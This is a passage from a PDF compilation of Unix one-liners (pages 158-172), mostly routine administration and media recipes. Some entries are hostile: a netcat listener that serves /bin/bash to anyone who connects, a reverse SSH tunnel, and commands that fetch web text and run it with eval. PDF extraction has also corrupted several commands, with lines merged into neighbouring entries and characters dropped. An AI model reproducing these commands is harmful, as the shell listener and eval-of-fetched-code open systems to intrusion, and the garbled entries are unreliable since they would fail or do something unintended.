# Remove all unused kernels with apt-get
sudo apt-get remove $(dpkg -l|awk '/^ii linux-image-/{print $2}'|sed 's/linux-image-//'|awk
-v v=`uname -r` 'v>$0'|sed 's/-generic*//'|awk '{printf("linux-headers-%s\nlinux-headers-%sgeneric*\nlinux-image-%s-generic*\n",$0,$0,$0)}')
# burn a isofile to cd or dvd
cdrecord -v dev=/dev/cdrom yourimage.iso
# List all PostgreSQL databases. Useful when doing backups
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print
$1}'
# Router discovery
sudo arp-scan 192.168.1.0/24 -interface eth0
# grep for tabs without using Ctrl-V trick
grep -P '\t' filename
# Creating ISO Images from CDs/DVDs
dd if=/dev/cdrom of=~/cd_image.iso
# Give any files that don't already have it group read permission under the current folder
(recursive)
find . -type f ! -perm /g=r -exec chmod g+r {} +
# Convert one file from ISO-8859-1 to UTF-8.
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
# Get your external IP address with a random commandlinefu.com command
IFS=$'\n';cl=($(curl -s
http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-byvotes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % $
{#cl[@]} ))]};eval $c;echo "Command used: $c"
# Produces a list of when your domains expire
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ;
done | sed 's:Expiration Date::'
# ls only directories
ls -ad */
# install all archive file type apps in ubuntu

158 / 658

All UNIX COMMANDS


sudo apt-get install p7zip-rar p7zip-full unace unrar zip unzip sharutils rar uudeview mpack
arj cabextract file-roller
# Add 10 random unrated songs to xmms2 playlist
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R |
head | xargs -L 1 xmms2 addid
# Enable programmable bash completion in debian lenny
aptitude install bash-completion ; source /etc/bash_completion
# analyze traffic remotely over ssh w/ wireshark
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost
"tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
# Scan a document to PDF
scanimage -p --resolution 250 --mode Gray -x 215.9 -y 279.4 | pnmtops -imageheight 11
-imagewidth 8.5 | ps2pdf - output.pdf
# Set a posix shell to echo all commands that it's about to execute, after all expansions
have been done.
set -x
# BackTrack Repos
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse
macroverse restricted universe multiverse' && wget -q http://archive.offensivesecurity.com/backtrack.gpg -O- | sudo apt-key add # Bash alias for creating screen session containing IRSSI, named irssi, while checking if
existing session is created
alias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi"

# Is it a terminal?
isatty(){ test -t $1; }
# Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy
DavidLettermanBlackCrowes.ac3
# print crontab entries for all the users that actually have a crontab
for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ !
${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi;
done
# Mac OS X: remove extra languages to save over 3 GB of space.
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0
rm -rfv
# Get the size of all the directories in current directory
du -hd 1
# An alarm clock using xmms2 and at
at 6:00 <<< "xmms2 play"
# Display top Keywords from history
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n |
tail | sort -nr
# List all Windows services on the command line

159 / 658

All UNIX COMMANDS


sc queryex type= service state= all | find "_NAME"
# Recursively lists all files in the current directory, except the ones in '.snapshot'
directory
find . -wholename './.snapshot' -prune -o -print
# List the CPU model name
grep "model name" /proc/cpuinfo
# Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum
+= $1;} END { print sum; }'
# OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back
into the clipboard.
pbpaste | tidy -xml -wrap 0 | pbcopy
# left-right mouse buttons (left-handed)
xmodmap -e "pointer = 3 2 1"
# Using column to format a directory listing
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d)
| column -t
# Remove a range of lines from a file
perl -i -ne 'print if $. == 3..5' <filename>
# Send a backup job to a remote tape drive on another machine over SSH
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
# Better git diff, word delimited and colorized
git config alias.dcolor "diff --color-words"
# Go to the next sibling directory in alphabetical order, version 2
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
# Print the 10 deepest directory paths
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
# Create a temporary file
tempfile=$(/bin/mktemp)
# To get internet connection information .
sudo /bin/netstat -tpee
# replace XX by YY in the the current directory and cd to it. ( in ZSH )
cd XX YY
# Change the extension of a filename by using rename to convert
rename .JPG .jpg *.JPG
# Debug redirects between production reloads
watch 'curl -s --location -I http://any.site.or.url | grep -e "\(HTTP\|Location\)"'
# geoip information
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep
"^IP.*$1" | html2text; }

160 / 658

All UNIX COMMANDS


# lotto generator
shuf -i 1-49 -n 6 | sort -n | xargs
# load changes without logging in and out vim
:source ~/.vimrc
# Remove duplicate rows of an un-sorted file based on a single column
perl -ane 'print unless $x{$F[0]}++' infile > outfile
# Convert all files for iPhone with HandbrakeCLI
find . -name \*.avi -exec HandBrakeCLI -i "{}" -o "{}".iphone.mp4 --preset="iPhone & iPod
Touch" \;
# Archive a directory with datestamp on filename
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
# prints the parameter you used on the previous command
<alt+.>
# Watch the size of a directory using figlet
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
# Remove all .svn folders
find . -name .svn -type d -exec rm -rf '{}' +
# Efficiently extract lines between markers
sed -n '/START/,${/STOP/q;p}'
# Move all but the newest 100 emails to a gzipped archive
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[09]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
# calulate established tcp connection of local machine
netstat -an|grep -ci "tcp.*established"
# print all network interfaces' names and IPv4 addresses
alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t'
# Add a line to a file using sudo
echo "foo bar" | sudo tee -a /path/to/some/file
# Generate soothing noise
/usr/bin/play -q -n synth brown band -n 1200 200 tremolo 0.05 80
# Show UDID of iPhone
lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk
'{print $3}'
# Indent all the files in a project using emacs
find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region
(point-min) (point-max) nil) (save-buffer))" --kill \;
# RTFM function
rtfm() { help $@ || $@ -h || $@ --help || man $@ || $BROWSER "http://www.google.com/search?
q=$@"; }
# Drop all tables from a database, without deleting it
mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE" | grep ^DROP
| mysql -u $USER --password=$PASSWORD "$DATABASE"

161 / 658

All UNIX COMMANDS


# Record a webcam output into a video file.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4
myvideo.avi
# Probably, most frequent use of diff
diff -Naur --strip-trailing-cr
# Check ps output to see if file is running, if not start it
ps -C thisdaemon || { thisdaemon & }
# Extract audio track from a video file using mencoder
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
# Displaying system temperature
cat /proc/acpi/thermal_zone/THRM/temperature
# Set Time Zone in Ubuntu
sudo dpkg-reconfigure tzdata
# Play ISO/DVD-files and activate dvd-menu and mouse menu clicks.
mplayer dvdnav:// -dvd-device foo.img -mouse-movements

# Dump a web page


curl -s http://google.com | hexdump -C|less
# find and delete files smaller than specific size
find . -type f -size -80k -delete
# Mount important virtual system directories under chroot'ed directory
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
# List all authors of a particular git project
git shortlog -s | cut -c8# Verify if user account exists in Linux / Unix
id <username>
# Backup your OpenWRT config (only the config, not the whole system)
curl -d 'username=root&password=your-good-password' "http://router/cgibin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
# Converts uppercase chars in a string to lowercase
s="StrinG"; echo ${s,,}
# Cleanup Python bytecode files
find . -name "*.py[co]" -exec rm -f {} \;
# Show an application's environment variables
sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox
# SMS reminder
echo 'mail -s "Call your wife" 13125551234@tmomail.net' |at now+15min
# Compare a remote dir with a local dir
diff -y <(ssh user@host find /boot|sort) <(find /boot|sort)
# grep certain file types recursively
find . -name "*.[ch]" | xargs grep "TODO"

162 / 658

All UNIX COMMANDS


# Diff files over SSH
Diff files over SSH: ssh [login]@[host] "cat [remote file]" | diff - "[local file]"
# Batch file name renaming (copying or moving) w/ glob matching.
for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
# Ping Twitter to check if you can connect
wget http://twitter.com/help/test.json -q -O # Check disk I/O
iostat -d -x 10 5
# Tail a log file with long lines truncated
tail -f logfile.log | cut -b 1-80
# Log the current memory statistics frequently to syslog
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
# Never rewrites a file while copying (or moving)
cp --backup=t source.file target.file
# Output system statistics every 5 seconds with timestamp
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
# View a colorful logfile using less
< /var/log/syslog ccze -A | less -R
# Remove all HTML tags from a file
awk '{gsub("<[^>]*>", "")}1' file
# bulk rename files with sed, one-liner
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv
# Translate your terminal into Swedish Chef
perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$
";}'
# Add .gitignore files to all empty directories recursively from your current directory
find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;

# xargs for builtin bash commands


bargs { while read i; do "$@" "$i"; done }
# put current directory in LAN quickly
python -m SimpleHTTPServer
# Convert multiple pdf's to jpg in linux using the convert command
for i in *.pdf ; do convert "$i" "${i%.*}.jpg" ; done
# Encode/Decode text to/from Base64 on a Mac w/out Mac Ports
openssl base64 -in base64.decoded.txt -out base64.encoded.txt
# Use top to monitor only all processes with the same name fragment 'foo'
top '-p' $(pgrep -d ' -p ' foo)
# Command to rename multiple file in one go
for f in ./*.xls; do mv "$f" "${f%.*}.ods"; done

163 / 658

All UNIX COMMANDS


# Break lines after, for example 78 characters, but don't break within a word/string
fold -w 78 -s file-to-wrap
# Delete all but the latest 5 files
ls -t | tail +6 | xargs rm
# Prepend a text to a file.
prepend () { array=("$@"); len=${#array[@]}; file=${array[$len-1]}; text=${array[@]:0:$len1}; printf '%s\n' 0a "$text" . w | ed -s "$file"; }
# connect to all screen instances running
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnometerminal -e screen\ -dx\ $i; done
# list with full path
printf "$PWD/%s\n" *
# Create an ISO Image from a folder and burn it to CD
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
# Open Perl module source in your editor
$EDITOR `perldoc -l Module::Name`
# View advanced Sort options, Quick Reference Help Alias
alias sorth='sort --help|sed -n "/^ *-[^-]/s/^ *\(-[^ ]* -[^ ]*\) *\(.*\)/\1:\2/p"|column
-ts":"'
# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl
base64)/plaintext" --silent | sed "s/\(^#.*\)/\x1b[32m\1\x1b[0m/g" | less -R }
# List only the directories
tree -dL 1
# How many Linux and Windows devices are on your network?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep
Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s)
devices"
# Shows physically connected drives (SCSI or SATA)
ls /sys/bus/scsi/devices
# Stop long commands wrapping around and over-writing itself in the Bash shell
shopt -s checkwinsize
# A function to find the newest file in a directory
newest () { find ${1:-\.} -type f |xargs ls -lrt ; }
# Switch to the previous branch used in git(1)
git checkout # Record MP3 audio via ALSA using ffmpeg
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
# Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt
pdftk mydoc.pdf burst
# copy ACL of one file to another using getfacl and setfacl
getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>

164 / 658

All UNIX COMMANDS


# Check whether laptop is running on battery or cable
acpi -b

# Generate Sha1, MD5 hash using echo


echo -n "password"|md5sum|awk '{print $1}'
# Browse shared folder when you're the only Linux user
smbclient -U userbob //10.1.1.75/Shared
# ssh autocomplete
complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq |
grep -v "\["`;)" ssh
# show all key and mouse events
xev
# Numeric zero padding file rename
ls *.jpg | awk -F'.' '{ printf "%s %04d.%s\n", $0, $1, $2; }' | xargs -n2 mv
# External IP (raw data)
dig +short myip.opendns.com @resolver1.opendns.com
# Decode a MIME message
munpack file.txt
# Find out what the day ends in
date +%A | tail -2c
# Instant mirror from your laptop + webcam
mplayer tv:// -vf mirror
# embed referred images in HTML files
grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while
read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc -base64 -in $l| tr -d
'\n'`>" a.html ; done;
# Convert your favorite image in xpm for using in grub
convert image123.png -colors 14 -resize 640x480 grubimg.xpm
# Top 10 requestors by IP address from Apache/NCSA Logs
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
# recursive search and replace old with new string, inside files
$rpl -R oldstring newstring folder
# Pronounce an English word using Merriam-Webster.com
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn
"s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1
| aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
# In place line numbering
{ rm -f file10 && nl > file10; } < file10
# Rsync files with spaces
rsync [options] -- * target
# Prepare B&W scans for clean looking, searchable PDF

165 / 658

All UNIX COMMANDS


convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff;
tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.tiff
# Merge files, joining each line in one line
paste file1 file2 fileN > merged
# MySQL dump restore with progress bar and ETA
pv bigdump.sql.gz | gunzip | mysql
# Debug bash shell scripts.
bash -x SCRIPT
# Binary search/replace
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
# Change the homepage of Firefox
sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|'
.mozilla/firefox/*.default/prefs.js
# Find which jars contain a class
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep
"Foo.class"; done
# Get a shell with a not available account
su - <user> -s /bin/sh -c "/bin/sh"
# GRUB2: set Super Mario as startup tune
sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523
2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'

# Toggle a temporary ram partition


ram() { mt=/mnt/ram && grep "$mt" < /proc/mts > /dev/null; if [ $? -eq 0 ] ; then read
-p"Enter to Remove Ram Partition ";sudo umount "$mt" && echo $mt 0; else sudo mt -t tmpfs
tmpfs "$mt" -o size=$(( ${1:-1} * 1024 ))m && echo $mt '-' "${1:-1}"gb; fi; }
# How many days until the end of the year
echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +
%Y)."
# Determine whether a CPU has 64 bit capability or not
sudo dmidecode --type=processor | grep -i -A 1 charac
# Show Shared Library Mappings
ldconfig -p
# Set an alarm to wake up
sleep 5h && rhythmbox path/to/song
# Get absolut path to your bash-script
PATH=$(cd ${0%/*}; pwd)
# Transform a portrait pdf in a landscape one with 2 pages per page
pdfnup --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf
# STAT Function showing ALL info, stat options, and descriptions
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]
&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }

166 / 658

All UNIX COMMANDS


# Resize photos without changing exif
mogrify -format jpg -quality 80 -resize 800 *.jpg
# Print stack trace of a core file without needing to enter gdb interactively
alias gdbbt="gdb -q -n -ex bt -batch"
# clone an USB stick using dd + see its process
dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done
# write by vim need root privilege
!w sudo tee %
# Unite pdf files
pdfunite 1.pdf 2.pdf united.pdf
# Find files that were modified by a given command
strace <name of the program>
# Symlink all files from a base directory to a target directory
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
# Merge several pdf files into a single file
pdftk $* cat output $merged.pdf
# make 100 directories with leading zero, 001...100, using bash3.X
mkdir $(printf '%03d\n' {1..100})
# converting horizontal line to vertical line
tr '\t' '\n' < inputfile
# Repeat a portrait eight times so it can be cut out from a 6"x4" photo and used for visa or
passport photos
montage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5 output.jpg
# Take a screenshot of the window the user clicks on and name the file the same as the
window title
sleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/dev/null |
egrep -ao '^[[:print:]]+' | tr / :).xwd"
# Lookup hostname for IP address
dig +short -x <ip-address>
# Most simple way to get a list of open ports
netstat -lnp
# List all users and groups
groups $(cut -f1 -d":" /etc/passwd) | sort
# Tail a log-file over the network
tail -f error_log | nc -l 1234
# send file to remote machine and unzip using ssh
ssh user@host 'gunzip - > file' < file.gz

# The simplest way to transport information over a network


(on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 <
whatever;

167 / 658

All UNIX COMMANDS


# To have only unique lines in a file
sort file1.txt | uniq > file2.txt
# Convert PNG to GIF
for file in *.png; do convert "$file" "$(basename $file .png).gif"; done
# Convert df command to posix; uber GREPable
df -P
# Show crontabs for all users
for user in $(cut -f1 -d: /etc/passwd); do echo "### Crontabs for $user ####"; crontab -u
$user -l; done
# spawn shell listener service with nc
nc -l -p 3003 -e /bin/bash
# list all hd partitions
awk '/d.[0-9]/{print $4}' /proc/partitions
# using tee to echo to a system file with sudo privileges
echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
# floating point operations in shell scripts
bc -l <<< s(3/5)
# Terminal Escape Code Zen - Strace and Tput
termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}
# VMware Server print out the state of all registered Virtual Machines.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " "
$3}';done
# sed edit-in-place using -a option instead of -i option (no tmp file created)
sedi(){ case $# in [01]|[3-9])echo usage: sedi sed-cmds file ;;2)sed -a ''"$1"';H;$!d;g;' $2
|sed -a '/^$/d;w '"$2"'' ;;esac;}
# send a .loc file to a garmin gps over usb
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
# List last opened tabs in firefox browser
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while
read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
# Lock your KDE4 remotely (via regular KDE lock)
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
# Uniformly correct filenames in a directory
for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
# extract plain text from MS Word docx files
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
# Compare two files side-by-side
sdiff file1 file2
# remote-pbzip2 and transfer a directory to local file
ssh user@host 'tar -c --use-compress-prog=pbzip2 /<dir>/<subdir>' > <localfile>.tar.bz2
# SVN Status log to CSV

168 / 658

All UNIX COMMANDS


svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//'
| sed -r "s/[0-9]+ lines?//g" | sort -g
# Emptying a text file in one shot
:1,$d
# Generate 10 pronunciable passwords
apg -a 0 -n 10
# Lists the supported memory types and how much your board can support.
sudo dmidecode -t 5,16
# formatting number with comma
printf "%'d\n" 1234567
# Get a list of all browsable Samba shares on the target server.
smbclient -L sambaserver

# list and sort files by size in reverse order (file size in human readable output)
ls -S -lhr
# force a rescan on a host of scsi devices (useful for adding partitions to vmware on the
fly)
echo "- - -" > /sys/class/scsi_host/host0/scan
# mix video and audio
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4
# calulate established tcp connection of local machine
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t",
i}'
# replace strings in file names
rename 's/foo/bar/g' foobar
# disk space email alert
[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space
Alert -- $(hostname)" admin@example.com
# Adjust gamma so monitor doesn't mess up your body's clock
xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 0.7
--gamma 2:3:4
# Console clock
while [[ 1 ]] ; do clear; banner `date +%H:%M:%S` ; sleep 1; done
# find and grep Word docs
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4
search_term;
# Convert files from DOS line endings to UNIX line endings
perl -pi -e 's/\r\n?/\n/g'
# Get sunrise and sunset times
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\"
'{print $2 "\n" $4;}'
# Show all symlinks

169 / 658

All UNIX COMMANDS


find ./ -type l -ls
# Find the ratio between ram usage and swap usage.
sysctl -a | grep vm.swappiness
# Getting GnuPG Public Keys From KeyServer
gpg --keyserver pgp.surfnet.nl --recv-key 19886493
# Find out what package some command belongs to (on RPM systems)
rpm -qif `which more`
# c_rehash replacement
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done
# Word-based diff on reformatted text files
diff -uw <(fmt -1 {file1, file2})
# List of macros defined by gcc
gcc -dM -E - </dev/null
# Displays process tree of all running processes
pstree -Gap
# Extract track 9 from a CD
mplayer -fs cdda://9 -ao pcm:file=track9.wav
# List your MACs address
ip link | awk '/link/ {print $2}'
# Add strikethrough to text
echo text | sed $"s/./&\xCC\xB6/g"
# Define a quick calculator function
=() { echo $(($*)); }
# Delete C style comments using vim
vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
# uniq without pre-sorting
perl -ne 'print if !$a{$_}++'

# Get the 10 biggest files/folders for the current direcotry


du -sh * | sort -rh | head
# Edit all files found having a specific string found by grep
grep -Hrli 'foo' * | xargs vim
# count how many cat processes are running
ps ax | grep -c [c]at
# Get IP from hostname
ping -c 1 google.com | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
# Bash autocomplete case insensitive search
shopt -s nocaseglob
# Flush DNS cache in MacOS 10.5
dscacheutil -flushcache

170 / 658

All UNIX COMMANDS


# Alternative size (human readable) of files and directories (biggest last)
du -ms * .[^.]*| sort -nk1
# Find and display most recent files using find and perl
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file));
push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o)
{print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
# run command on a group of nodes in parallel redirecting outputs
xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' <hostlist
# get function's source
typeset -f <function name>; declare -f <function name>
# To get the CPU temperature continuously on the desktop
while :; do acpi -t | osd_cat -p bottom ; sleep 1; done &
# Lists all clients of a Squid proxy
cut -c23-37 /var/log/squid3/access.log | cut -d' ' -f1 | sort | uniq
# download a sequence of vim patch
seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c

{};

# Command to Show a List of Special Characters for bash prompt (PS1)


alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
# Random file naming
mv file.png $( mktemp -u | cut -d'.' -f2 ).png
# Run a bash script in debug mode, show output and save it on a file
bash -x test.sh 2>&1 | tee out.test
# Change SSH RSA passphrase
ssh-keygen -f ~/.ssh/id_rsa -p
# Find Out My Linux Distribution Name and Version
cat /etc/*-release
# Put a console clock in top right corner
while true; do echo -ne "\e[s\e[0;$((COLUMNS-27))H$(date)\e[u"; sleep 1; done &
# Kill most recently created process.
pkill -n firefox
# gzip over ssh
ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
# List your largest installed packages (on Debian/Ubuntu)
dpkg-query -W --showformat='${Installed-Size}\t${Package}\n' | sort -nr | less
# List top 20 IP from which TCP connection is in SYN_RECV state
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c |
sort -n | tail -20
# print battery , thermal , and cooling info
acpi -tc
# total text files in current dir
file -i * | grep -c 'text/plain'

171 / 658

All UNIX COMMANDS

# View the latest astronomy picture of the day from NASA.


apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep
-Pom1 'image/\d+/.*\.\w+');}
# Find all files with colons and replace with underscores; current directory and below
(recursive).
find ./ -name '*:*' -exec rename 's/:/_/g' {} +
# Who has the most Apache connections.
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c
IPHERE
# Clone current directory into /destination verbosely
find . | cpio -pumdv /destination
# diff will usually only take one file from STDIN. This is a method to take the result of
two streams and compare with diff. The example I use to compare two iTunes libraries but it
is generally applicable.
diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f
-print | egrep -i '\.m4a$|\.mp3$')
# Search for a <pattern> string inside all files in the current directory
grep -r <pattern> * .[!.]*
# Monitor a file with tail with timestamps added
tail -f file |xargs -IX printf "$(date -u)\t%s\n" X
# copy last command to clipboard
echo "!!" | pbcopy
# Count all conections estabilished on gateway
cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
# Reverse ssh
#INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host#ssh
user@localhost -p 8888#
# List all installed PERL modules by CPAN
perldoc perllocal
# Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | cut -d "\"" -f 2 | grep ://
# Find broken symlinks
find . -type l -xtype l
# find listening ports by pid
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
# Take a screenshot of a login screen
chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png
# recursive remove all htm files
find . -type f -name '*.htm' -delete
# lsof - cleaned up for just open listening ports, the process, and the owner of the process

172 / 658

All UNIX COMMANDS


alias oports="echo 'User:
Command:
Port:'; echo '----------------------------' ; lsof
-i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1, \$9}' | sed 's/ [a-z0-9\.\*]*:/ /' |
sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq"
# Watch the progress of 'dd'
pkill -USR1 ^dd$
# Export log to html file
cat /var/log/auth.log | logtool -o HTML > auth.html
# Localize provenance of current established connections
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
# Scan for new SCSI devices
echo "- - -" > /sys/class/scsi_host/host0/scan
# write the output of a command to /var/log/user.log... each line will contain $USER, making
this easy to grep for.
log() { (echo "\$ $@";$@) | logger -t $USER; }
# Purge configuration file of all desinstalled package
dpkg --list | grep '^rc\b' | awk '{ print $2 }' | xargs sudo dpkg -P
# Get file access control list
getfacl /mydir
# Ultimate current directory usage command
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then
du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done

# Add all files not under subversion control


for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
# Currency Conversion
currency_convert() {
wget -qO- "http://www.google.com/finance/converter?
a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
# Poor's man Matrix script
while (true) ; do pwgen 1 ; done
# Batch File Rename with awk and sed
